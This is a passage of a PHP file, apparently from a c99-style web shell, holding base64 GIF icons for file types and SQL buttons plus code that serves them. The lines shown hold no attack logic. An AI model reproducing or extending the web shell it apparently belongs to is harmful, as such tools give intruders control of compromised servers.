  2431. "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA".
  2432. "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA".
  2433. "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA".
  2434. "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA".
  2435. "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA".
  2436. "AAjnACtVCkCw4JxJAQQqFBjAxo0MNGqsABQAh6CFA3nk0MHiRREVDhzsoLQwAJ0gT4ToecSHAYMz".
  2437. "aQgoDNCCSB4EAnImCiSBjUyGLobgXBTpkAA5I6pgmSkDz5cuMSz8yWlAyoCZFGb4SQKhASMBXJpM".
  2438. "uSrQEQwkGjYkQCTAy6AlUMhWklQBw4MEhgSA6XPgRxS5ii40KLFgi4BGTEKAsCKXihESCzrsgSQC".
  2439. "yIkUV+SqOYLCA4csAup86OGDkNw4BpQ4OaBFgB0TEyIUKqDwTRs4a9yMCSOmDBoyZu4sJKCgwIDj".
  2440. "yAsokBkQADs=",
  2441. "multipage"=>"R0lGODlhCgAMAJEDAP/////3mQAAAAAAACH5BAEAAAMALAAAAAAKAAwAAAIj3IR".
  2442. "pJhCODnovidAovBdMzzkixlXdlI2oZpJWEsSywLzRUAAAOw==",
  2443. "sort_asc"=>
  2444. "R0lGODlhDgAJAKIAAAAAAP///9TQyICAgP///wAAAAAAAAAAACH5BAEAAAQALAAAAAAOAAkAAAMa".
  2445. "SLrcPcE9GKUaQlQ5sN5PloFLJ35OoK6q5SYAOw==",
  2446. "sort_desc"=>
  2447. "R0lGODlhDgAJAKIAAAAAAP///9TQyICAgP///wAAAAAAAAAAACH5BAEAAAQALAAAAAAOAAkAAAMb".
  2448. "SLrcOjBCB4UVITgyLt5ch2mgSJZDBi7p6hIJADs=",
  2449. "sql_button_drop"=>
  2450. "R0lGODlhCQALAPcAAAAAAIAAAACAAICAAAAAgIAAgACAgICAgMDAwP8AAAD/AP//AAAA//8A/wD/".
  2451. "/////wAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA".
  2452. "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAMwAAZgAAmQAAzAAA/wAzAAAzMwAzZgAzmQAzzAAz/wBm".
  2453. "AABmMwBmZgBmmQBmzABm/wCZAACZMwCZZgCZmQCZzACZ/wDMAADMMwDMZgDMmQDMzADM/wD/AAD/".
  2454. "MwD/ZgD/mQD/zAD//zMAADMAMzMAZjMAmTMAzDMA/zMzADMzMzMzZjMzmTMzzDMz/zNmADNmMzNm".
  2455. "ZjNmmTNmzDNm/zOZADOZMzOZZjOZmTOZzDOZ/zPMADPMMzPMZjPMmTPMzDPM/zP/ADP/MzP/ZjP/".
  2456. "mTP/zDP//2YAAGYAM2YAZmYAmWYAzGYA/2YzAGYzM2YzZmYzmWYzzGYz/2ZmAGZmM2ZmZmZmmWZm".
  2457. "zGZm/2aZAGaZM2aZZmaZmWaZzGaZ/2bMAGbMM2bMZmbMmWbMzGbM/2b/AGb/M2b/Zmb/mWb/zGb/".
  2458. "/5kAAJkAM5kAZpkAmZkAzJkA/5kzAJkzM5kzZpkzmZkzzJkz/5lmAJlmM5lmZplmmZlmzJlm/5mZ".
  2459. "AJmZM5mZZpmZmZmZzJmZ/5nMAJnMM5nMZpnMmZnMzJnM/5n/AJn/M5n/Zpn/mZn/zJn//8wAAMwA".
  2460. "M8wAZswAmcwAzMwA/8wzAMwzM8wzZswzmcwzzMwz/8xmAMxmM8xmZsxmmcxmzMxm/8yZAMyZM8yZ".
  2461. "ZsyZmcyZzMyZ/8zMAMzMM8zMZszMmczMzMzM/8z/AMz/M8z/Zsz/mcz/zMz///8AAP8AM/8AZv8A".
  2462. "mf8AzP8A//8zAP8zM/8zZv8zmf8zzP8z//9mAP9mM/9mZv9mmf9mzP9m//+ZAP+ZM/+ZZv+Zmf+Z".
  2463. "zP+Z///MAP/MM//MZv/Mmf/MzP/M////AP//M///Zv//mf//zP///yH5BAEAABAALAAAAAAJAAsA".
  2464. "AAg4AP8JREFQ4D+CCBOi4MawITeFCg/iQhEPxcSBlFCoQ5Fx4MSKv1BgRGGMo0iJFC2ehHjSoMt/".
  2465. "AQEAOw==",
  2466. "sql_button_empty"=>
  2467. "R0lGODlhCQAKAPcAAAAAAIAAAACAAICAAAAAgIAAgACAgICAgMDAwP8AAAD/AP//AAAA//8A/wD/".
  2468. "/////wAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA".
  2469. "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAMwAAZgAAmQAAzAAA/wAzAAAzMwAzZgAzmQAzzAAz/wBm".
  2470. "AABmMwBmZgBmmQBmzABm/wCZAACZMwCZZgCZmQCZzACZ/wDMAADMMwDMZgDMmQDMzADM/wD/AAD/".
  2471. "MwD/ZgD/mQD/zAD//zMAADMAMzMAZjMAmTMAzDMA/zMzADMzMzMzZjMzmTMzzDMz/zNmADNmMzNm".
  2472. "ZjNmmTNmzDNm/zOZADOZMzOZZjOZmTOZzDOZ/zPMADPMMzPMZjPMmTPMzDPM/zP/ADP/MzP/ZjP/".
  2473. "mTP/zDP//2YAAGYAM2YAZmYAmWYAzGYA/2YzAGYzM2YzZmYzmWYzzGYz/2ZmAGZmM2ZmZmZmmWZm".
  2474. "zGZm/2aZAGaZM2aZZmaZmWaZzGaZ/2bMAGbMM2bMZmbMmWbMzGbM/2b/AGb/M2b/Zmb/mWb/zGb/".
  2475. "/5kAAJkAM5kAZpkAmZkAzJkA/5kzAJkzM5kzZpkzmZkzzJkz/5lmAJlmM5lmZplmmZlmzJlm/5mZ".
  2476. "AJmZM5mZZpmZmZmZzJmZ/5nMAJnMM5nMZpnMmZnMzJnM/5n/AJn/M5n/Zpn/mZn/zJn//8wAAMwA".
  2477. "M8wAZswAmcwAzMwA/8wzAMwzM8wzZswzmcwzzMwz/8xmAMxmM8xmZsxmmcxmzMxm/8yZAMyZM8yZ".
  2478. "ZsyZmcyZzMyZ/8zMAMzMM8zMZszMmczMzMzM/8z/AMz/M8z/Zsz/mcz/zMz///8AAP8AM/8AZv8A".
  2479. "mf8AzP8A//8zAP8zM/8zZv8zmf8zzP8z//9mAP9mM/9mZv9mmf9mzP9m//+ZAP+ZM/+ZZv+Zmf+Z".
  2480. "zP+Z///MAP/MM//MZv/Mmf/MzP/M////AP//M///Zv//mf//zP///yH5BAEAABAALAAAAAAJAAoA".
  2481. "AAgjAP8JREFQ4D+CCBOiMMhQocKDEBcujEiRosSBFjFenOhwYUAAOw==",
  2482. "sql_button_insert"=>
  2483. "R0lGODlhDQAMAPcAAAAAAIAAAACAAICAAAAAgIAAgACAgICAgMDAwP8AAAD/AP//AAAA//8A/wD/".
  2484. "/////wAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA".
  2485. "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAMwAAZgAAmQAAzAAA/wAzAAAzMwAzZgAzmQAzzAAz/wBm".
  2486. "AABmMwBmZgBmmQBmzABm/wCZAACZMwCZZgCZmQCZzACZ/wDMAADMMwDMZgDMmQDMzADM/wD/AAD/".
  2487. "MwD/ZgD/mQD/zAD//zMAADMAMzMAZjMAmTMAzDMA/zMzADMzMzMzZjMzmTMzzDMz/zNmADNmMzNm".
  2488. "ZjNmmTNmzDNm/zOZADOZMzOZZjOZmTOZzDOZ/zPMADPMMzPMZjPMmTPMzDPM/zP/ADP/MzP/ZjP/".
  2489. "mTP/zDP//2YAAGYAM2YAZmYAmWYAzGYA/2YzAGYzM2YzZmYzmWYzzGYz/2ZmAGZmM2ZmZmZmmWZm".
  2490. "zGZm/2aZAGaZM2aZZmaZmWaZzGaZ/2bMAGbMM2bMZmbMmWbMzGbM/2b/AGb/M2b/Zmb/mWb/zGb/".
  2491. "/5kAAJkAM5kAZpkAmZkAzJkA/5kzAJkzM5kzZpkzmZkzzJkz/5lmAJlmM5lmZplmmZlmzJlm/5mZ".
  2492. "AJmZM5mZZpmZmZmZzJmZ/5nMAJnMM5nMZpnMmZnMzJnM/5n/AJn/M5n/Zpn/mZn/zJn//8wAAMwA".
  2493. "M8wAZswAmcwAzMwA/8wzAMwzM8wzZswzmcwzzMwz/8xmAMxmM8xmZsxmmcxmzMxm/8yZAMyZM8yZ".
  2494. "ZsyZmcyZzMyZ/8zMAMzMM8zMZszMmczMzMzM/8z/AMz/M8z/Zsz/mcz/zMz///8AAP8AM/8AZv8A".
  2495. "mf8AzP8A//8zAP8zM/8zZv8zmf8zzP8z//9mAP9mM/9mZv9mmf9mzP9m//+ZAP+ZM/+ZZv+Zmf+Z".
  2496. "zP+Z///MAP/MM//MZv/Mmf/MzP/M////AP//M///Zv//mf//zP///yH5BAEAABAALAAAAAANAAwA".
  2497. "AAgzAFEIHEiwoMGDCBH6W0gtoUB//1BENOiP2sKECzNeNIiqY0d/FBf+y0jR48eQGUc6JBgQADs=",
  2498. "up"=>
  2499. "R0lGODlhFAAUALMAAAAAAP////j4+OPj493d3czMzLKysoaGhk1NTf///wAAAAAAAAAAAAAAAAAA".
  2500. "AAAAACH5BAEAAAkALAAAAAAUABQAAAR0MMlJq734ns1PnkcgjgXwhcNQrIVhmFonzxwQjnie27jg".
  2501. "+4Qgy3XgBX4IoHDlMhRvggFiGiSwWs5XyDftWplEJ+9HQCyx2c1YEDRfwwfxtop4p53PwLKOjvvV".
  2502. "IXtdgwgdPGdYfng1IVeJaTIAkpOUlZYfHxEAOw==",
  2503. "write"=>
  2504. "R0lGODlhFAAUALMAAAAAAP///93d3czMzLKysoaGhmZmZl9fXwQEBP///wAAAAAAAAAAAAAAAAAA".
  2505. "AAAAACH5BAEAAAkALAAAAAAUABQAAAR0MMlJqyzFalqEQJuGEQSCnWg6FogpkHAMF4HAJsWh7/ze".
  2506. "EQYQLUAsGgM0Wwt3bCJfQSFx10yyBlJn8RfEMgM9X+3qHWq5iED5yCsMCl111knDpuXfYls+IK61".
  2507. "LXd+WWEHLUd/ToJFZQOOj5CRjiCBlZaXIBEAOw==",
  2508. "ext_asp"=>
  2509. "R0lGODdhEAAQALMAAAAAAIAAAACAAICAAAAAgIAAgACAgMDAwICAgP8AAAD/AP//AAAA//8A/wD/".
  2510. "/////ywAAAAAEAAQAAAESvDISasF2N6DMNAS8Bxfl1UiOZYe9aUwgpDTq6qP/IX0Oz7AXU/1eRgI".
  2511. "D6HPhzjSeLYdYabsDCWMZwhg3WWtKK4QrMHohCAS+hABADs=",
  2512. "ext_mp3"=>
  2513. "R0lGODlhEAAQACIAACH5BAEAAAYALAAAAAAQABAAggAAAP///4CAgMDAwICAAP//AAAAAAAAAANU".
  2514. "aGrS7iuKQGsYIqpp6QiZRDQWYAILQQSA2g2o4QoASHGwvBbAN3GX1qXA+r1aBQHRZHMEDSYCz3fc".
  2515. "IGtGT8wAUwltzwWNWRV3LDnxYM1ub6GneDwBADs=",
  2516. "ext_avi"=>
  2517. "R0lGODlhEAAQACIAACH5BAEAAAUALAAAAAAQABAAggAAAP///4CAgMDAwP8AAAAAAAAAAAAAAANM".
  2518. "WFrS7iuKQGsYIqpp6QiZ1FFACYijB4RMqjbY01DwWg44gAsrP5QFk24HuOhODJwSU/IhBYTcjxe4".
  2519. "PYXCyg+V2i44XeRmSfYqsGhAAgA7",
  2520. "ext_cgi"=>
  2521. "R0lGODlhEAAQAGYAACH5BAEAAEwALAAAAAAQABAAhgAAAJtqCHd3d7iNGa+HMu7er9GiC6+IOOu9".
  2522. "DkJAPqyFQql/N/Dlhsyyfe67Af/SFP/8kf/9lD9ETv/PCv/cQ//eNv/XIf/ZKP/RDv/bLf/cMah6".
  2523. "LPPYRvzgR+vgx7yVMv/lUv/mTv/fOf/MAv/mcf/NA//qif/MAP/TFf/xp7uZVf/WIP/OBqt/Hv/S".
  2524. "Ev/hP+7OOP/WHv/wbHNfP4VzV7uPFv/pV//rXf/ycf/zdv/0eUNJWENKWsykIk9RWMytP//4iEpQ".
  2525. "Xv/9qfbptP/uZ93GiNq6XWpRJ//iQv7wsquEQv/jRAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA".
  2526. "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA".
  2527. "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA".
  2528. "AAAAAAAAAAAAAAAAAAAAAAeegEyCg0wBhIeHAYqIjAEwhoyEAQQXBJCRhQMuA5eSiooGIwafi4UM".
  2529. "BagNFBMcDR4FQwwBAgEGSBBEFSwxNhAyGg6WAkwCBAgvFiUiOBEgNUc7w4ICND8PKCFAOi0JPNKD".
  2530. "AkUnGTkRNwMS34MBJBgdRkJLCD7qggEPKxsJKiYTBweJkjhQkk7AhxQ9FqgLMGBGkG8KFCg8JKAi".
  2531. "RYtMAgEAOw==",
  2532. "ext_cmd"=>
  2533. "R0lGODlhEAAQACIAACH5BAEAAAcALAAAAAAQABAAggAAAP///4CAgMDAwAAAgICAAP//AAAAAANI".
  2534. "eLrcJzDKCYe9+AogBvlg+G2dSAQAipID5XJDIM+0zNJFkdL3DBg6HmxWMEAAhVlPBhgYdrYhDQCN".
  2535. "dmrYAMn1onq/YKpjvEgAADs=",
  2536. "ext_cpp"=>
  2537. "R0lGODlhEAAQACIAACH5BAEAAAUALAAAAAAQABAAgv///wAAAAAAgICAgMDAwAAAAAAAAAAAAANC".
  2538. "WLPc9XCASScZ8MlKicobBwRkEIkVYWqT4FICoJ5v7c6s3cqrArwinE/349FiNoFw44rtlqhOL4Ra".
  2539. "Eq7YrLDE7a4SADs=",
  2540. "ext_ini"=>
  2541. "R0lGODlhEAAQACIAACH5BAEAAAYALAAAAAAQABAAggAAAP///8DAwICAgICAAP//AAAAAAAAAANL".
  2542. "aArB3ioaNkK9MNbHs6lBKIoCoI1oUJ4N4DCqqYBpuM6hq8P3hwoEgU3mawELBEaPFiAUAMgYy3VM".
  2543. "SnEjgPVarHEHgrB43JvszsQEADs=",
  2544. "ext_diz"=>
  2545. "R0lGODlhEAAQAHcAACH5BAEAAJUALAAAAAAQABAAhwAAAP///15phcfb6NLs/7Pc/+P0/3J+l9bs".
  2546. "/52nuqjK5/n///j///7///r//0trlsPn/8nn/8nZ5trm79nu/8/q/9Xt/9zw/93w/+j1/9Hr/+Dv".
  2547. "/d7v/73H0MjU39zu/9br/8ne8tXn+K6/z8Xj/LjV7dDp/6K4y8bl/5O42Oz2/7HW9Ju92u/9/8T3".
  2548. "/+L//+7+/+v6/+/6/9H4/+X6/+Xl5Pz//+/t7fX08vD//+3///P///H///P7/8nq/8fp/8Tl98zr".
  2549. "/+/z9vT4++n1/b/k/dny/9Hv/+v4/9/0/9fw/8/u/8vt/+/09xUvXhQtW4KTs2V1kw4oVTdYpDZX".
  2550. "pVxqhlxqiExkimKBtMPL2Ftvj2OV6aOuwpqlulyN3cnO1wAAXQAAZSM8jE5XjgAAbwAAeURBYgAA".
  2551. "dAAAdzZEaE9wwDZYpmVviR49jG12kChFmgYuj6+1xeLn7Nzj6pm20oeqypS212SJraCyxZWyz7PW".
  2552. "9c/o/87n/8DX7MHY7q/K5LfX9arB1srl/2+fzq290U14q7fCz6e2yXum30FjlClHc4eXr6bI+bTK".
  2553. "4rfW+NXe6Oby/5SvzWSHr+br8WuKrQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA".
  2554. "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA".
  2555. "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA".
  2556. "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA".
  2557. "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA".
  2558. "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA".
  2559. "AAjgACsJrDRHSICDQ7IMXDgJx8EvZuIcbPBooZwbBwOMAfMmYwBCA2sEcNBjJCMYATLIOLiokocm".
  2560. "C1QskAClCxcGBj7EsNHoQAciSCC1mNAmjJgGGEBQoBHigKENBjhcCBAIzRoGFkwQMNKnyggRSRAg".
  2561. "2BHpDBUeewRV0PDHCp4BSgjw0ZGHzJQcEVD4IEHJzYkBfo4seYGlDBwgTCAAYvFE4KEBJYI4UrPF".
  2562. "CyIIK+woYjMwQQI6Cor8mKEnxR0nAhYKjHJFQYECkqSkSa164IM6LhLRrr3wwaBCu3kPFKCldkAA".
  2563. "Ow==",
  2564. "ext_doc"=>
  2565. "R0lGODlhEAAQACIAACH5BAEAAAUALAAAAAAQABAAggAAAP///8DAwAAA/4CAgAAAAAAAAAAAAANR".
  2566. "WErcrrCQQCslQA2wOwdXkIFWNVBA+nme4AZCuolnRwkwF9QgEOPAFG21A+Z4sQHO94r1eJRTJVmq".
  2567. "MIOrrPSWWZRcza6kaolBCOB0WoxRud0JADs=",
  2568. "ext_exe"=>
  2569. "R0lGODlhEwAOAKIAAAAAAP///wAAvcbGxoSEhP///wAAAAAAACH5BAEAAAUALAAAAAATAA4AAAM7".
  2570. "WLTcTiWSQautBEQ1hP+gl21TKAQAio7S8LxaG8x0PbOcrQf4tNu9wa8WHNKKRl4sl+y9YBuAdEqt".
  2571. "xhIAOw==",
  2572. "ext_h"=>
  2573. "R0lGODlhEAAQACIAACH5BAEAAAUALAAAAAAQABAAgv///wAAAAAAgICAgMDAwAAAAAAAAAAAAANB".
  2574. "WLPc9XCASScZ8MlKCcARRwVkEAKCIBKmNqVrq7wpbMmbbbOnrgI8F+q3w9GOQOMQGZyJOspnMkKo".
  2575. "Wq/NknbbSgAAOw==",
  2576. "ext_hpp"=>
  2577. "R0lGODlhEAAQACIAACH5BAEAAAUALAAAAAAQABAAgv///wAAAAAAgICAgMDAwAAAAAAAAAAAAANF".
  2578. "WLPc9XCASScZ8MlKicobBwRkEAGCIAKEqaFqpbZnmk42/d43yroKmLADlPBis6LwKNAFj7jfaWVR".
  2579. "UqUagnbLdZa+YFcCADs=",
  2580. "ext_htaccess"=>
  2581. "R0lGODlhEAAQACIAACH5BAEAAAYALAAAAAAQABAAggAAAP8AAP8A/wAAgIAAgP//AAAAAAAAAAM6".
  2582. "WEXW/k6RAGsjmFoYgNBbEwjDB25dGZzVCKgsR8LhSnprPQ406pafmkDwUumIvJBoRAAAlEuDEwpJ".
  2583. "AAA7",
  2584. "ext_html"=>
  2585. "R0lGODlhEwAQALMAAAAAAP///2trnM3P/FBVhrPO9l6Itoyt0yhgk+Xy/WGp4sXl/i6Z4mfd/HNz".
  2586. "c////yH5BAEAAA8ALAAAAAATABAAAAST8Ml3qq1m6nmC/4GhbFoXJEO1CANDSociGkbACHi20U3P".
  2587. "KIFGIjAQODSiBWO5NAxRRmTggDgkmM7E6iipHZYKBVNQSBSikukSwW4jymcupYFgIBqL/MK8KBDk".
  2588. "Bkx2BXWDfX8TDDaFDA0KBAd9fnIKHXYIBJgHBQOHcg+VCikVA5wLpYgbBKurDqysnxMOs7S1sxIR".
  2589. "ADs=",
  2590. "ext_jpg"=>
  2591. "R0lGODlhEAAQADMAACH5BAEAAAkALAAAAAAQABAAgwAAAP///8DAwICAgICAAP8AAAD/AIAAAACA".
  2592. "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAARccMhJk70j6K3FuFbGbULwJcUhjgHgAkUqEgJNEEAgxEci".
  2593. "Ci8ALsALaXCGJK5o1AGSBsIAcABgjgCEwAMEXp0BBMLl/A6x5WZtPfQ2g6+0j8Vx+7b4/NZqgftd".
  2594. "FxEAOw==",
  2595. "ext_js"=>
  2596. "R0lGODdhEAAQACIAACwAAAAAEAAQAIL///8AAACAgIDAwMD//wCAgAAAAAAAAAADUCi63CEgxibH".
  2597. "k0AQsG200AQUJBgAoMihj5dmIxnMJxtqq1ddE0EWOhsG16m9MooAiSWEmTiuC4Tw2BB0L8FgIAhs".
  2598. "a00AjYYBbc/o9HjNniUAADs=",
  2599. "ext_lnk"=>
  2600. "R0lGODlhEAAQAGYAACH5BAEAAFAALAAAAAAQABAAhgAAAABiAGPLMmXMM0y/JlfFLFS6K1rGLWjO".
  2601. "NSmuFTWzGkC5IG3TOo/1XE7AJx2oD5X7YoTqUYrwV3/lTHTaQXnfRmDGMYXrUjKQHwAMAGfNRHzi".
  2602. "Uww5CAAqADOZGkasLXLYQghIBBN3DVG2NWnPRnDWRwBOAB5wFQBBAAA+AFG3NAk5BSGHEUqwMABk".
  2603. "AAAgAAAwAABfADe0GxeLCxZcDEK6IUuxKFjFLE3AJ2HHMRKiCQWCAgBmABptDg+HCBZeDAqFBWDG".
  2604. "MymUFQpWBj2fJhdvDQhOBC6XF3fdR0O6IR2ODwAZAHPZQCSREgASADaXHwAAAAAAAAAAAAAAAAAA".
  2605. "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA".
  2606. "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA".
  2607. "AAAAAAAAAAAAAAAAAAAAAAeZgFBQPAGFhocAgoI7Og8JCgsEBQIWPQCJgkCOkJKUP5eYUD6PkZM5".
  2608. "NKCKUDMyNTg3Agg2S5eqUEpJDgcDCAxMT06hgk26vAwUFUhDtYpCuwZByBMRRMyCRwMGRkUg0xIf".
  2609. "1lAeBiEAGRgXEg0t4SwroCYlDRAn4SmpKCoQJC/hqVAuNGzg8E9RKBEjYBS0JShGh4UMoYASBiUQ".
  2610. "ADs=",
  2611. "ext_log"=>
  2612. "R0lGODlhEAAQADMAACH5BAEAAAgALAAAAAAQABAAg////wAAAMDAwICAgICAAAAAgAAA////AAAA".
  2613. "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAARQEKEwK6UyBzC475gEAltJklLRAWzbClRhrK4Ly5yg7/wN".
  2614. "zLUaLGBQBV2EgFLV4xEOSSWt9gQQBpRpqxoVNaPKkFb5Eh/LmUGzF5qE3+EMIgIAOw==",
  2615. "ext_php"=>
  2616. "R0lGODlhEAAQAIABAAAAAP///ywAAAAAEAAQAAACJkQeoMua1tBxqLH37HU6arxZYLdIZMmd0Oqp".
  2617. "aGeyYpqJlRG/rlwAADs=",
  2618. "ext_pl"=>
  2619. "R0lGODlhFAAUAKL/AP/4/8DAwH9/AP/4AL+/vwAAAAAAAAAAACH5BAEAAAEALAAAAAAUABQAQAMo".
  2620. "GLrc3gOAMYR4OOudreegRlBWSJ1lqK5s64LjWF3cQMjpJpDf6//ABAA7",
  2621. "ext_swf"=>
  2622. "R0lGODlhFAAUAMQRAP+cnP9SUs4AAP+cAP/OAIQAAP9jAM5jnM6cY86cnKXO98bexpwAAP8xAP/O".
  2623. "nAAAAP///////wAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACH5BAEA".
  2624. "ABEALAAAAAAUABQAAAV7YCSOZGme6PmsbMuqUCzP0APLzhAbuPnQAweE52g0fDKCMGgoOm4QB4GA".
  2625. "GBgaT2gMQYgVjUfST3YoFGKBRgBqPjgYDEFxXRpDGEIA4xAQQNR1NHoMEAACABFhIz8rCncMAGgC".
  2626. "NysLkDOTSCsJNDJanTUqLqM2KaanqBEhADs=",
  2627. "ext_tar"=>
  2628. "R0lGODlhEAAQAGYAACH5BAEAAEsALAAAAAAQABAAhgAAABlOAFgdAFAAAIYCUwA8ZwA8Z9DY4JIC".
  2629. "Wv///wCIWBE2AAAyUJicqISHl4CAAPD4/+Dg8PX6/5OXpL7H0+/2/aGmsTIyMtTc5P//sfL5/8XF".
  2630. "HgBYpwBUlgBWn1BQAG8aIABQhRbfmwDckv+H11nouELlrizipf+V3nPA/40CUzmm/wA4XhVDAAGD".
  2631. "UyWd/0it/1u1/3NzAP950P990mO5/7v14YzvzXLrwoXI/5vS/7Dk/wBXov9syvRjwOhatQCHV17p".
  2632. "uo0GUQBWnP++8Lm5AP+j5QBUlACKWgA4bjJQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA".
  2633. "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA".
  2634. "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA".
  2635. "AAAAAAAAAAAAAAAAAAAAAAeegAKCg4SFSxYNEw4gMgSOj48DFAcHEUIZREYoJDQzPT4/AwcQCQkg".
  2636. "GwipqqkqAxIaFRgXDwO1trcAubq7vIeJDiwhBcPExAyTlSEZOzo5KTUxMCsvDKOlSRscHDweHkMd".
  2637. "HUcMr7GzBufo6Ay87Lu+ii0fAfP09AvIER8ZNjc4QSUmTogYscBaAiVFkChYyBCIiwXkZD2oR3FB".
  2638. "u4tLAgEAOw==",
  2639. "ext_txt"=>
  2640. "R0lGODlhEwAQAKIAAAAAAP///8bGxoSEhP///wAAAAAAAAAAACH5BAEAAAQALAAAAAATABAAAANJ".
  2641. "SArE3lDJFka91rKpA/DgJ3JBaZ6lsCkW6qqkB4jzF8BS6544W9ZAW4+g26VWxF9wdowZmznlEup7".
  2642. "UpPWG3Ig6Hq/XmRjuZwkAAA7",
  2643. "ext_wri"=>
  2644. "R0lGODlhEAAQADMAACH5BAEAAAgALAAAAAAQABAAg////wAAAICAgMDAwICAAAAAgAAA////AAAA".
  2645. "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAARRUMhJkb0C6K2HuEiRcdsAfKExkkDgBoVxstwAAypduoao".
  2646. "a4SXT0c4BF0rUhFAEAQQI9dmebREW8yXC6Nx2QI7LrYbtpJZNsxgzW6nLdq49hIBADs=",
  2647. "ext_xml"=>
  2648. "R0lGODlhEAAQAEQAACH5BAEAABAALAAAAAAQABAAhP///wAAAPHx8YaGhjNmmabK8AAAmQAAgACA".
  2649. "gDOZADNm/zOZ/zP//8DAwDPM/wAA/wAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA".
  2650. "AAAAAAAAAAAAAAAAAAVk4CCOpAid0ACsbNsMqNquAiA0AJzSdl8HwMBOUKghEApbESBUFQwABICx".
  2651. "OAAMxebThmA4EocatgnYKhaJhxUrIBNrh7jyt/PZa+0hYc/n02V4dzZufYV/PIGJboKBQkGPkEEQ".
  2652. "IQA7"
  2653. );
  2654. //Untuk optimalisasi ukuran dan kecepatan.
  2655. $imgequals = array(
  2656. "ext_tar"=>array("ext_tar","ext_r00","ext_ace","ext_arj","ext_bz","ext_bz2","ext_tbz","ext_tbz2","ext_tgz","ext_uu","ext_xxe","ext_zip","ext_cab","ext_gz","ext_iso","ext_lha","ext_lzh","ext_pbk","ext_rar","ext_uuf"),
  2657. "ext_php"=>array("ext_php","ext_php3","ext_php4","ext_php5","ext_phtml","ext_shtml","ext_htm"),
  2658. "ext_jpg"=>array("ext_jpg","ext_gif","ext_png","ext_jpeg","ext_jfif","ext_jpe","ext_bmp","ext_ico","ext_tif","tiff"),
  2659. "ext_html"=>array("ext_html","ext_htm"),
  2660. "ext_avi"=>array("ext_avi","ext_mov","ext_mvi","ext_mpg","ext_mpeg","ext_wmv","ext_rm"),
  2661. "ext_lnk"=>array("ext_lnk","ext_url"),
  2662. "ext_ini"=>array("ext_ini","ext_css","ext_inf"),
  2663. "ext_doc"=>array("ext_doc","ext_dot"),
  2664. "ext_js"=>array("ext_js","ext_vbs"),
  2665. "ext_cmd"=>array("ext_cmd","ext_bat","ext_pif"),
  2666. "ext_wri"=>array("ext_wri","ext_rtf"),
  2667. "ext_swf"=>array("ext_swf","ext_fla"),
  2668. "ext_mp3"=>array("ext_mp3","ext_au","ext_midi","ext_mid"),
  2669. "ext_htaccess"=>array("ext_htaccess","ext_htpasswd","ext_ht","ext_hta","ext_so")
  2670. );
  2671. if (!$getall) {
  2672. header("Content-type: image/gif");
  2673. header("Cache-control: public");
  2674. header("Expires: ".date("r",mktime(0,0,0,1,1,2030)));
  2675. header("Cache-control: max-age=".(60*60*24*7));
  2676. header("Last-Modified: ".date("r",filemtime(__FILE__)));
  2677. foreach($imgequals as $k=>$v) {if (in_array($img,$v)) {$img = $k; break;}}
  2678. if (empty($images[$img])) {$img = "small_unk";}
  2679. if (in_array($img,$ext_tar)) {$img = "ext_tar";}
  2680. echo base64_decode($images[$img]);
  2681. }
  2682. else {
